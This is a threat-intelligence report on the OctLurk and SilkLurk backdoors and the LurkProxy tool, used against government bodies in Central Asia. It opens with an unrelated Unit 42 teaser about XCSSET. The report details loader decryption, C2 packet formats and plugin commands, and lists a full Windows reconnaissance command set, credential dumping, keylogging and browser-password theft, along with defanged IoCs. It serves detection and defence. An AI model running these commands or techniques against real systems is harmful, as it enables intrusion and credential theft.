Analysis of XCSSET v40 reveals a macOS malware targeting developers via Xcode. Unit 42 used advanced pattern matching and AI to decode its logic.
The post The Xcode Assassin Returns: A Deep Dive Into the Latest XCSSET Version appeared first on Unit 42.
We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments.
The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself.
Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group.
The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\<username>\Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below.
The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below.
In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server.
After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below.
We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines.
The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes.
The double‑XOR decryption uses two distinct multibyte keys:
The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes.
The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine:
To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows:
The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet.
The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below.
The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code.
OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the plugins listed below are commonly deployed on victim machines.
The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID.
| Plugin type | Description |
| File Manager | ● case 0x10020: for each drive, retrieve the following information: volume GUID path, drive letter, volume name, file system name, drive type, volume serial number, total size in bytes, and free space in bytes. ● case 0x10030: search for a file that matches a specified name and retrieve the following information: file attributes, creation time, last access time, last write time, file size, the file’s name, and its short (8.3) name. ● case 0x10040: recursively list all files in a specified location, including only those whose size, creation time, last write time, and last access time fall within the threshold values defined by C2. For each listed file, retrieve the following details: file attributes, creation time, last access time, last write time, file size, file name and alternative name for the file ● case 0x10050: use the ShellExecuteExW API to open the specified file path, which may be an executable, a document, or a folder. ● case 0x10051: execute the specified command line using the CreateProcessAsUserW API. ● case 0x10060: perform the following file‑system operations: copy, delete, move, and rename — using the SHFileOperationW API. ● case 0x10070: create a directory. ● case 0x10080: set the attributes for a file or directory. ● case 0x10090: for the filename provided by C2, set the file created, last accessed, and last modified timestamps to the values received from C2. ● case 0x20010: get the size of a file. ● case 0x20020: read a file from the system in chunks, starting at a specified offset. ● case 0x20030: calculate the CRC32 of each file data chunk, and retrieve the file created, last accessed, and last written times. ● case 0x20040: close the file handle and free the associated metadata (file path, handle, and size). ● case 0x20110: create a file at the specified path and write the bytes received from C2 into it. Then set the file created, last accessed, and last modified times using the timestamps supplied by C2. |
| Command Shell | ● case 0x3E9: launch cmd.exe as shell.● case 0x3EA: send the exit command to close the command shell.● case Default: if a command string is received from the C2 and the shell is running, write the command to the shell. Then read the shell’s output and send it back to the C2. If a command string is received from the C2 server and the shell is not already running, execute the command using C:\Windows\System32\cmd.exe /S /C "<command_string>" > %TEMP%\tmp%d%x.tmp where %d and %x are random values. Afterwards, read the output from the temporary file tmp%d%x.tmp and then delete the file. |
| Interaction Manager | ● case 0x3E9: capture the entire screen as a BMP image. ● case 0x3EA: capture the entire screen at specified intervals. ● case 0x3EC: retrieve clipboard data. ● case 0x3ED: copy the data to the clipboard. ● case 0x3F3: MOUSEEVENTF_LEFTDOWN: set the cursor to the specified position and press the left mouse button. ● case 0x3F5: MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP: move the cursor to the specified position, then press and release the left mouse button. ● case 0x3F6: MOUSEEVENTF_RIGHTDOWN: set the cursor to the specified position and press the right mouse button. ● case 0x3F7: MOUSEEVENTF_RIGHTUP: set the specified cursor position and release the right mouse button. ● case 0x3F8: MOUSEEVENTF_MOVE: move the mouse cursor to specific coordinates, simulating a mouse movement event. ● case 0x3F9: MOUSEEVENTF_WHEEL: move the mouse wheel by a specified amount. ● case 0x3FD: press the key indicated by the virtual‑key code. ● case 0x3FE: KEYEVENTF_KEYUP: release the key identified by the virtual-key code. ● case DEFAULT: MOUSEEVENTF_LEFTUP: move the cursor to the specified position and release the left mouse button. |
The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions:
The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below.
The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, <hostname>.datb, and <hostname>_logs.datb — all stored in the %TEMP% directory.
| Command | Description |
| chcp 1256 | Changes the system’s code page to 1256, which supports Arabic characters. |
| powershell $PSVersionTable | Retrieves the version information of PowerShell. |
| qwinsta | Views all active sessions on the local machine. |
| klist sessions | Displays a list of logon sessions on this computer (Including Kerberos). |
| TASKLIST /V | Lists all running tasks with detailed information. |
| findstr /i /c:”explorer.exe” | Searches for explorer.exe in a case-insensitive manner. Used together with TASKLIST /V. |
| wevtutil qe Security /f:text /c:5 /rd:true /q:”*[System[(EventID=4624)]] and *[EventData[Data[@Name=’LogonType’]=10]]” | Retrieves the last 5 events from the Security event log where the event ID is 4624 (successful logon event) and the logon type is 10 (remote interactive logon e.g., Remote Desktop Protocol). |
| powershell “ipconfig|select-string v4 -context 1,3” | Uses PowerShell to filter ipconfig output for IPv4 addresses. |
| ipconfig /all | Displays detailed network configuration information. |
| WHOAMI /all | Displays detailed information about the current user, including their security identifiers (SIDs), privileges, group memberships, and authentication details. |
| WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | findstr “=” | Retrieves information about installed antivirus software. |
| powershell Get-NetTCPConnection | Retrieves information about TCP connections. |
| netstat -ano | findstr LISTENING | Shows listening ports. |
| netstat -ano | findstr ESTABLISHED | Displays established connections. |
| cmd.exe /c netstat -ano | findstr “EST” | findstr -v 127.0.0.1 | Filters established connections excluding the loopback address. |
| powershell.exe “get-wmiobject -query ‘select * from win32_process’ | Select-Object ProcessId,ProcessName,CommandLine,ExecutablePath,CreationDate | Where-object {$_.ProcessId -eq 500} | Format-List” | Retrieves detailed information about a specific process. |
| reg query HKLM /s /f “ProfileImagePath” /t REG_EXPAND_SZ | Searches the Windows Registry under HKEY_LOCAL_MACHINE (HKLM) for entries where the value name is “ProfileImagePath” and the type is REG_EXPAND_SZ. It points to the location of a user’s profile folder. |
| cmd.exe /c dir /b c:\users | Lists the contents of the C:\Users directory. |
| wmic startup get caption,command | findstr exe | Filters startup items for executable files. |
| powershell “get-MpComputerStatus” | Retrieves the status and configuration details of Microsoft Defender Antivirus (formerly Windows Defender) on a Windows system. |
| reg query “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features” /v “TamperProtection” | Queries whether Microsoft Defender antivirus’s tamper protection is enabled. |
| reg query “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions” /s | Queries exclusion settings for Microsoft Defender Antivirus. This is where you can configure files, folders, processes, and extensions that should be excluded from being scanned by Defender. |
| wevtutil gli Security | Configures the Security event log. |
| wevtutil gl Security /f:xml | Retrieves events from the Security log in XML format. |
| wevtutil gli “Windows PowerShell” | Configures the Windows PowerShell event log. |
| wevtutil gl “Windows PowerShell” /f:xml | Retrieves events from the Windows PowerShell log in XML format. |
| wevtutil gli System | Configures the System event log. |
| wevtutil gl System /f:xml | Retrieves events from the System log in XML format. |
| schtasks /query /fo LIST /v | findstr “TaskName> Status> ‘Task To Run’> ‘Run As User’>” | Lists all scheduled tasks in verbose mode and extracts the following fields: Status, Task To Run, Run As User, and TaskName. |
| systeminfo | Displays detailed system information. |
| powershell “Get-WmiObject -Class Win32_BIOS | Format-list” | Retrieves BIOS information. |
| powershell “Get-WMIObject -Class Win32_PhysicalMemory | Format-list” | Retrieves physical memory information. |
| powershell “Get-WMIObject -Class Win32_Processor | Format-list” | Retrieves processor information. |
| powershell “Get-WMIObject -Class Win32_DiskDrive | Format-list” | Retrieves disk drive information. |
| netsh interface ipv4 show interfaces | Displays information about IPv4 interfaces. |
| powershell “gwmi Win32_NetworkAdapter | Format-list” | Provides hardware-level and driver-level information about adapters. |
| powershell “gwmi Win32_NetworkAdapterConfiguration | Format-list” | Provides network configuration details, such as IP address, DNS, DHCP status, etc. |
| ipconfig /all | Displays detailed network configuration. |
| netstat -e -s | Displays detailed network protocol statistics. |
| certutil -urlcache | Displays URL cache entries. |
| ipconfig /displaydns | Displays the contents of the DNS client resolver cache. |
The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users.
Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise.
Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below.
The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte.
The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites.
Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below.
The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below.
Login
%ProgramFiles%\_agent)Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt.
The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to:
In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below.
| Offset | Data | Type |
| 0x00 (00) | Unused | – |
| 0x08 (08) | Packet control flags. Bit 0 indicates high priority packet, bit 1 indicates single packet | bit array |
| 0x0C (12) | Command number | int |
| 0x10 (16) | Handler number (unique identifier for each proxy client in the first mode) | int |
| 0x14 (20) | Command integer argument | int |
| 0x18 (24) | Unused | – |
| 0x1C (28) | Data 1 payload size | int |
| 0x20 (32) | Data 2 payload size | int |
| 0x24 (36) | Data 1 byte stream | bytes |
| 0x24 (36) + N | Data 2 byte stream | bytes |
LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used.
Mode 1: SOCKS5 proxy
When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands.
Mode 2: transparent proxy
In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer.
| Command ID | Direction | Description | Arguments |
| 0x1000010 | Implant -> C2 | When a new proxy client connects, it creates a proxy session and notifies C2 of the successful configuration | Target port in command integer argument UTF-16 encoded connection hostname in data 1 |
| 0x1000010 | C2 -> Implant | Used to control the session, allowing it to pause or stop proxying | Action in command integer argument (1 to pause, or any other value to terminate) |
| 0x1000030 | Implant -> C2 | Sent when the LurkProxy is shut down | – |
| 0x1000050 | Implant -> C2 | Forwards the received bytes from the client to C2 | Raw TCP bytes in data 1 |
| 0x1000050 | C2 -> Implant | Forwards the received bytes from the proxy target to the client | Raw TCP bytes in data 1 |
The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory.
SilkLurk loader working logic
The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader.
Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service.
SERVICE_WIN32_OWN_PROCESSSERVICE_AUTO_STARTSERVICE_ERROR_NORMALOn service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure:
| Shellcode offset | Description |
| 0x000 (0) | Stub code, which performs reflective code injection |
| 0x770 (1904) | Hardcoded value 0x11113F68, XORed with the computer name hash |
| 0x774 (1908) | Hardcoded byte 0xD9, used as XOR key to decrypt import DLL names and APIs |
| 0x775 (1909) | Size of the encrypted backdoor |
| 0x779 (1913) | Encrypted backdoor data blob |
The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file.
The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory.
During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out.
During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked.
The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure:
| Offset | Description |
| 0x00 (000) | C2 Host 1 |
| 0x64 (100) | C2 Host 2 |
| 0xC8 (200) | C2 Host 3 |
| 0x12C (300) | C2 Host 4 |
| 0x190 (400) | Port for C2 Host 1 |
| 0x192 (402) | Port for C2 Host 2 |
| 0x194 (404) | Port for C2 Host 3 |
| 0x196 (406) | Port for C2 Host 4 |
| 0x198 (408) | Unknown 21 bytes |
| 0x1AD (429) | Proxy address 1 |
| 0x22A (554) | Proxy username 1 |
| 0x2A7 (679) | Proxy password 1 |
| 0x324 (804) | Proxy address 2 |
| 0x3A1 (929) | Proxy username 2 |
| 0x41E (1054) | Proxy password 2 |
The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format:
CONNECT %s:%d HTTP/1.1 Proxy-Connection: Keep-Alive Host: %s:%d Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x04 (04) | 0x0C7FFBE86h (magic dword) |
| 0x04 (04) | 0x04 (04) | 0 |
| 0x08 (08) | 0x20 (32) | Network key (will be used to encrypt and decrypt network traffic) |
It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x08 (08) | data_size (encrypted_key_data + random_bytes_size) |
| 0x08 (08) | 0x04 (04) | data_size XORed with 0x39 |
| 0x0C (12) | 0x28 (40) | Encrypted network key data (as mentioned in above table) |
| 0x34 (52) | size between 0x14 (20) and 0xB4 (180) | Random data bytes |
After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x04 (04) | 0xC7FFBE86 (magic dword) |
| 0x04(04) | 0x04 (04) | Message type (1 means victim information) |
| 0x08 (08) | 0x04 (04) | Data size (size of encrypted victim information) |
| 0x0C (12) | 0x01 (01) | Compression flag (1 means compressed) |
| 0x0D (13) | 0x02 (02) | Size of random bytes, between 0x14 and 0x96 bytes |
Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server.
<random_dword><encrypted header><encrypted victim information><random bytes>
Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x04 (04) | Random dword |
| 0x04 (04) | 0x0F (15) | Encrypted header data |
The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message.
The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands:
| Command (message type) | Description |
| 03 | Based on subcommand, perform the following operations: 00: Get target system’s local time 01: Set sleep time in milliseconds, after which to reconnect to the C2 server |
| 04 | Send current backdoor configuration |
| 05 | Update backdoor configuration |
| 06 | Receive and inject additional payloads (plugins) into memory. Based the on subcommand, perform the following operations: 01: Inject payload (plugin) bytes into memory and execute payload’s entry point 03: Call export method of injected plugin |
The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip.
Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers.
| WinRAR | 18dc8bff47cc282508354771d0c8cf8c | C:\Users\[username]\Libraries\RecordedTV.exe C:\Users\[username]\Libraries\recordutil.exe |
| 7Zip | 9a1dd1d96481d61934dcc2d568971d06 | C:\windows\vss\7z.exe |
The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below.
C:\ProgramData\Symantec\RasTls.exe - Legitimate Binary (MD5 62944e26b36b1dcace429ae26ba66164) C:\ProgramData\Symantec\RasTls.dll - PlugX Loader Dll (MD5 ef59aad625eebda8650aec5820d6ce69) C:\ProgramData\Symantec\RasTls.dll.res - PlugX Payload file
Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX.
PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX.
| Config field name | Value |
| Injection Target Process | %SystemRoot%\system32\svchost.exe |
| Home Directory | %ALLUSERSPROFILE%\Symantec |
| Persistence Name | SymantecRAS |
| Service Display Name | SymantecRAS |
| Service Description | Symantec RAS Services |
| Campaign ID | KG_MFA |
The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times.
We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts.
C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loader vulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below.
C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs.| OctLurk | C:\ProgramData\intel\mscastrac.dll (MD5 7c2f64461bb519c6cbf1fc687675514c) C:\ProgramData\intel\msbasesysdc.dll (MD5 f4578e869a735cfad691f927bae3e638) |
| SilkLurk | C:\ProgramData\intel\vulkan-1.dll (MD5 2f18472866f38c1e1c2c5c14b9a6ab56) |
In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group.
The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder.
In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
dns[.]multitoconference[.]com
tj[.]tajikistandip[.]com
fm01[.]clouddevicemetrics[.]com
confbase[.]mdpsupport[.]net
digital[.]leroymerling[.]com
api2[.]annoyingremote[.]com
about[.]blsouqs[.]com
ssl[.]blsouqs[.]com
45[.]138[.]157[.]165
dns[.]ssentialserv[.]xyz
154[.]196[.]162[.]76
tyhbgtyuj[.]gleeze[.]com
95[.]179[.]210[.]138
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
rgnojb[.]casacam[.]net
95[.]179[.]141[.]26
ctyuhjerf[.]kozow[.]com
45[.]32[.]152[.]50
212[.]11[.]39[.]138
195[.]86[.]120[.]2
uyhvfredc[.]accesscam[.]org
154[.]196[.]187[.]73
45[.]61[.]149[.]112
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
gycudore[.]kozow[.]com
64[.]7[.]198[.]130
082d49ef9f14e6811d68c7e0e82e5069 oleasapi.dll
f4578e869a735cfad691f927bae3e638 msbasesysdc.dll
7c2f64461bb519c6cbf1fc687675514c mscastrac.dll
8269d6ba1b6842f9152c90cf7add9b93 vulkan-1.dll
3c9a1ba8e0c7475706adc6376e9d7b7c kmsonline.exe
ef59aad625eebda8650aec5820d6ce69 RasTls.dll
a0cc7accc79abb0287aaba825d0351f0
a56cce62930a6bee80d679b4c495a340
1415a78b75de7db4ba3d1e61d7db4501
a4d550a3ba0cd073fe3839b99d98a7a8
32a5985543433a4f60da2fafd873b927 Adobe.exe
2a571f6cee42a17d873f4c942649813f AnyDesk.exe
37dc84e4bcad92fa28f1e7778d088283 x64.exe
cf903e4a1629aa0582fd0363b5786676 fc.exe
6ecf84fb18f6747ed08d7598364d853a 1.bat
b874123a80fc4f40e06872b9cb54ebc6 auto.bat
45cf5916fab4272a1313c26e67aa9220 in.bat
4e6d5c4770d5a822d7fcce6a74f7ad73 in.bat
5e26df131ff0a679a0a2699b723b46e3 1.bat
